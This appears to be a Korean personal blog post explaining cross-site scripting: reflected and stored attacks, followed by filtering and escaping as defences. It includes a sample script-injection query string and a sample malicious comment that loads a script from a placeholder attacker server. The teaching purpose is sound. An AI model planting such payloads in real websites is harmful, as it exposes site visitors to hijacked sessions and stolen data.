2022. 5. 15. 23:13ㆍ프론트엔드/HTML, CSS, Javascript
웹 어플리케이션에서 많이 나타나는 취약점의 하나로,
외부인이 악성 스크립트를 삽입할 수 있는 취약점이다.
주로 악성 스크립트가 담긴 글을 올리는 형태로 이루어진다.
(전에 워드프레스가 알 수 없는 이유로 다른 목적으로 사용되었던 기억이 있다.)
공격 유형
비 지속적 (Non-persistent) 기법
반사 (Reflected) XSS라고도 불리며,
가장 일반적인 방법이라고 한다.
방식을 보면 왜 반사라고 하는지 알 수 있다.
주입된 악성 스크립트가 사용자에게 돌아오게 되면,
답변에 담긴 스크립트가 실행되며
다른 사이트로 이동하는 식이다.
그 스크립트를 보낸 사람이 정상적인 사이트이기 때문에,
브라우저에서는 그대로 실행하게 된다.
아래의 예시를 보자.
- 피해자는 아래의 링크를 누른다.
www.a.com/?term=<script>alert('something')</script>
- 쿼리문에 삽입된 스크립트가 유저에게 다시 전달된다
- 브라우저에서는 문자열을 스크립트로 파악하고 실행하게 된다.
물론 사용자의 요청을 반환하는 경우에만 포함된다.
이 경우에는 사용자가 보낸 값을 잘 검사하면 예방이 가능하다.
지속적 (Persistent) XSS
이 경우에는 웹서버에 스크립트를 주입하는 경우다.
웹서버에서는 정해진대로 응답을 하기 때문에,
악성 스크립트가 있는 페이지를 그대로 유저들에게 응답하게 된다.
뭔가 조작된 댓글을 다는 것으로 보통 공격을 하게 된다.
이것도 예시를 보자
- 공격자는 블로그에 이런 커맨트를 단다.
"Great article, keep it up Joe !<script src="http://<theattackersbadserveraddress>.com/badscript.js" ></script>"
- 피해자 (그냥 블로그에 방문한 사람)는 공격자의 댓글이 포함된 페이지에 접속하게 된다.
- 피해자의 브라우저는 공격자의 댓글을 HTML 태그라고 해석하게 된다.
- 위의 링크대로 badscript.js를 실행하게 된다.
해결 방안 (예방법)
예방법에는 크게 필터링과 이스케이핑이 있다.
필터링 (Filtering)
단순하게 생각하면, 포스팅이나 댓글을 필터링 하기만 하면 된다.
<script> 태그 같은 것만 걸러도 실행을 막을 수 있다.
이스케이핑 (Escaping)
HTML에서의 이스케이프에 대해서는 다음의 링크를 보자
한마디로 <, >과 같은 스크립트 실행에 필요한 태그들을
< >로 교체해 버리면 그냥 문자열이 되어버린다는 뜻이다.
'프론트엔드 > HTML, CSS, Javascript' 카테고리의 다른 글
문자 이스케이프란? - HTML (0) | 2022.05.15 |
---|---|
Javascript Prototype 오염 (0) | 2022.04.21 |
브라우저 객체 모델 - BOM (0) | 2022.04.21 |
[HTML] 글자 사이에 원하는 길이만큼 공백 넣기 (feat. React) (0) | 2022.02.08 |
CSS에서 Flex를 해보자. (0) | 2021.10.19 |